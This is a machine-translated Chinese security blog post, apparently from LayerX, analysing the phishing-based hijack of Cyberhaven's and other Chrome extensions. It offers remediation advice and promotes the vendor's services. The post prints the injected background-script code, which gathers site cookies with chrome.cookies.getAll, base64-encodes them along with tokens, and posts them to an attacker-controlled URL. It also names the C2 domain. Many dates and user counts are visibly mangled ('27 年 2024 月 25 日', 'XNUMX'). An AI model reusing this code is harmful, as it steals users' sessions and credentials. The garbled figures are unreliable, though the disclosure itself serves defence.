最后更新时间:30 年 2024 月 XNUMX 日
本博文跟踪了针对 Chrome 网上应用店浏览器扩展程序的全球攻击活动。一旦有新详细信息,我们将及时更新。
结语
27 年 2024 月 25 日,网络安全初创公司 Cyberhaven 披露,一次攻击已破坏其浏览器扩展程序并向其中注入了恶意代码。此次攻击的详细信息曝光后,很快又发现了更多受感染的浏览器扩展程序,目前已知有超过 XNUMX 个扩展程序受到影响。
下面的实时线程解释了我们所知道的所有细节,哪些扩展受到了影响,组织应该如何保护自己,以及 LayerX 如何帮助其客户解决受此攻击影响的扩展。
本文档内的快速链接:
- 攻击是如何被发现的
- 袭击是如何进行的
- 攻击的技术分析
- 其他受影响的扩展
- 如何保护自己
- LayerX 如何帮助客户保护自己
- 受损扩展的免费审计和补救
攻击是如何被发现的
27 年 2024 月 400,000 日,Cyberhaven 向其客户通报了一起安全漏洞,导致一名 Cyberhaven 员工的凭证被盗用,这些凭证被用来将 Cyberhaven 浏览器扩展的恶意版本推送到 Chrome 商店。Cyberhaven 安全扩展目前拥有超过 XNUMX 万名用户,他们可能受到了此次漏洞的影响。
事件的消息是 网络安全博客 Vulnu 的第一份报告该公司获得了 Cyberhavent 发送给客户的电子邮件副本。
根据 Cyberhaven 的分析,24 月 XNUMX 日,一次网络钓鱼攻击危及了他们的一名员工,导致攻击者获得了 Chrome 网上应用店中该公司浏览器扩展程序的访问权限。
攻击者随后利用此访问权限上传 Cyberhaven 浏览器扩展的恶意版本,并于 25 月 XNUMX 日凌晨在 Chrome 商店中对其进行更新。
据 Cyberhaven 介绍,该恶意更新大约在一天后被发现,并于 26 月 24 日凌晨删除了恶意代码。总而言之,该恶意版本上线时间刚好超过 XNUMX 小时。
然而,随着越来越多的扩展被入侵,人们开始意识到 Cyberhaven 攻击并不是针对该公司的孤立攻击,而是一场广泛攻击的一部分。
这使得对 Cyberhaven 事件的分析与理解整个活动变得相关。
袭击是如何进行的
Cyberhaven 浏览器扩展程序的管理员帐户通过有针对性的网络钓鱼攻击遭到入侵,从而允许攻击者发布其恶意版本。
由于此事件不仅是一次性攻击,而且是针对多个扩展的活动的一部分,因此我们认为用于攻击 Cyberhaven 的网络钓鱼方法也已在所有其他扩展中复制。
网络钓鱼活动最有可能的目标来源是 Chrome 网上应用店本身。
对于每个扩展程序,Chrome 商店都会提供扩展程序发布者的详细信息以及联系电子邮件地址:
Chrome 网上应用店提供的 Cyberhaven 浏览器扩展程序的联系方式示例
攻击者利用这些电子邮件地址,发送声称代表 Google 的欺骗性电子邮件,提醒收件人其帐户存在“违规行为”。
这是发送给 Cyberhaven 的网络钓鱼电子邮件的副本,该公司作为其 事件的技术分析:
然而,其他来源也出现了类似的电子邮件: Chromium.org 讨论组上的话题 询问他们收到的一封据称来自谷歌的可疑电子邮件,以了解这是否是一次网络钓鱼尝试:
这封电子邮件与入侵 Cyberhaven 的电子邮件几乎完全相同(尽管列出的“违规”原因不同),表明它是同一次网络钓鱼活动的一部分。根据帖子,这封电子邮件是在 23 月 XNUMX 日收到的,就在 Cyberhaven 被入侵的时候。
一旦目标用户点击电子邮件链接,他们就会被带到 Google 授权表单,以添加名为“隐私政策扩展”的 OAuth Google 应用程序。
遵循此批准流程将导致授权恶意第三方 OAuth 应用程序并授予其访问受害者的 Chrome Web Store 帐户的权限。但是,由于攻击的构建方式,攻击者无需自己泄露帐户凭据(即密码),只需“搭载”恶意应用程序授予的权限即可。
攻击的技术分析
一旦攻击者获得受害者 Web Store 帐户的访问权限,他们就会将代码注入扩展程序的 worker.js 文件中,以访问外部 URL(cyberhavenext[.]pro)并下载外部配置文件。
每次启动浏览器时,扩展程序都会从远程服务器获取配置文件。此文件控制扩展程序的行为,并且可以由攻击者动态更新,从而允许他们指示 什么 以及 ,尤其是 动作发生。攻击者可以 随时切换配置文件使他们能够动态地调整攻击以适应不同的环境或目标。这是攻击灵活性的关键。
下面是此类代码的示例:
代码中的关键见解:
- 跨多个扩展注入:恶意代码并不局限于单个扩展。相反,它已被注入到多个扩展中,每个扩展都会获取其自己的唯一配置文件。这种策略允许攻击者多样化攻击媒介,为不同的扩展定制行为,并使检测更具挑战性。
- 反复出现的行为:每次启动浏览器时都会进行配置提取,确保每个扩展始终按照攻击者提供的最新指令运行。
- 欺骗性命名:代码中使用变量或属性名,例如 cyberhavenext_ext_manage,其中包含公司名称。这使得开发人员在检查扩展程序的存储或代码时,会觉得它是合法的。
- 本地存储滥用:通过将配置数据存储在 chrome.storage.local,攻击者可确保持久性。检查此数据的开发人员可能会因为使用熟悉或听起来可信的名称而错误地信任它。
- 动态控制:端点(https://cyberhavenext.pro/ai-cyberhaven) 允许攻击者随时修改每个扩展的配置文件,从而完全控制每个受感染扩展的功能和行为。
- 定制配置:每个扩展都会检索一个独特的配置,这使得恶意行为更难概括和检测。这种方法允许根据扩展的特定目的或用户群进行量身定制的攻击。
此外,代码还为扩展添加了一个新文件(content.js),用于收集网站上的用户数据并将其泄露到外部网站。扩展中的后台脚本充当中央控制器,处理来自内容脚本的传入消息并根据这些消息执行各种操作。以下代码片段演示了一个等待处理多种类型请求的灵活结构:
chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))
该脚本使用 chrome.runtime.onMessage.addListener 处理各种操作。每个操作都定义一个特定的行为,例如发出网络请求。
当。。。的时候 ”cyberhavenext-check-errors”操作被调用时,攻击者使用以下方法检索敏感 cookie: chrome.cookies.getAll 攻击者还将这些数据与其他信息结合起来(例如 navigator[c] 以及 e.uid)攻击者将使用以下方法隐藏内容 btoa() 以便将其转换为 base64。这增加了一层混淆,使得数据在网络监控工具中的可读性降低。
通过将这些操作嵌入到后台脚本中,攻击者可以确保:
- 恶意活动与用户交互无关。
- 它在背景中悄然发生,因此更难被发现。
Cyberhaven 对暴露的端点进行的分析表明,恶意代码专门针对 Facebook 的 cookie 和身份验证令牌,尤其是 Facebook 商业帐户:
据 Cyberhaven 称,目标数据包括 Facebook 访问令牌、用户 ID、帐户信息和 Facebook 广告帐户详细信息。
其他受影响的扩展
一旦确定了恶意 C&C 服务器的 URL,安全研究人员就会使用反向 DNS 来识别解析到同一 IP 地址的其他域。这导致 发现更多受感染的浏览器扩展 并揭露了这次攻击活动的规模。
目前,已有超过 25 个浏览器扩展程序(安装用户量超过 2.3 万)被发现受到攻击:
- AI 助手 – Chrome 版 ChatGPT 和 Gemini
- 人工智能购物伙伴
- 吟游诗人AI聊天
- 书签图标更换器
- 蓖麻属
- ChatGPT Assistant – 智能搜索
- Cyberhaven 安全扩展 V3
- Earny – 高达 20% 现金返还
- 电子邮件猎人
- OpenAI 的 GPT 4 总结
- GraphQL 网络检查器
- Internxt VPN
- 键盘历史记录器
- 鹦鹉讲座
- 博智
- 阅读器模式
- 奖励搜索自动化程序
- 搜索 Chrome 版 Copilot AI Assistant
- 依旧排序
- Tapker – 在线键盘记录工具
- TinaMind – GPT-4o 支持的人工智能助手!
- 优音
- VidHelper – 视频下载器
- Vidnoz Flex – 视频录像机和视频共享器
- Google Meet的视觉效果
- 虚拟城市
- 慧影人工智能
如何保护自己
虽然迄今为止的技术分析表明,此次活动的主要目标是窃取 Facebook 凭证和访问令牌,但不能排除其他网站凭证被泄露的可能性。
这就是为什么 LayerX 建议所有受影响的用户采取以下措施:
- 删除受影响的浏览器扩展:确保所有受影响的扩展程序都已删除和/或阻止。部分扩展程序已上传更新版本,删除了恶意代码,但并非所有扩展程序都已上传。此外,任何已下载的受感染扩展程序都将保持暴露状态,直到用户更新扩展程序版本。这就是为什么主动禁用所有可能暴露的扩展程序至关重要的原因。
- 将所有扩展更新至最新版本:如果发布者发布了修复程序,则必须尽快更新已安装的扩展版本(假设它尚未被删除)
- 删除受影响用户的所有 cookie:由于此次攻击针对的是网站的 cookie 和访问令牌,因此必须删除所有现有 cookie 并刷新访问令牌。
- 轮换密码:作为最佳实践,还建议刷新所有受影响用户的密码,以确保没有任何访问凭据被泄露。
LayerX 如何帮助其客户
- 发现暴露的扩展:自 Cyberhaven 事件曝光以来,全球安全研究人员一直在努力识别更多受感染的扩展程序。LayerX 一直积极参与这项工作,发现了许多此类扩展程序并将其与公开信息相结合。
- 检测客户网络中部署的恶意扩展:LayerX 一直在不断更新其恶意扩展列表,以包括已发现受此漏洞影响的扩展。一旦发现此类扩展,客户就会立即收到警报。此外,LayerX 一直在积极联系受影响的客户,提醒他们这些发现。
- 部署自动执行政策:LayerX 已更新客户政策,以自动禁用任何已知的受损扩展。
- 删除暴露的用户 cookie:根据用户请求,LayerX 可以主动强制删除暴露用户的 cookie,从而重置 cookie 和身份验证令牌。
- 强制对暴露用户进行密码轮换:LayerX 还可以部署安全策略,强制暴露用户的密码轮换,以确保没有任何访问凭据暴露。
受损扩展的免费审计和补救
由于此次攻击的广度和范围,LayerX 为受此攻击影响(或担心可能受到影响)的组织提供免费的浏览器扩展审计和补救措施。
此次审计包括:
- 发现你的环境中安装的所有浏览器扩展
- 映射哪些用户在其终端上安装了哪些扩展
- 每个浏览器扩展的详细风险评分
- 删除受感染的恶意浏览器扩展
- 如有必要,轮换用户 cookie 和密码
点击这里 报名参加本次评估。






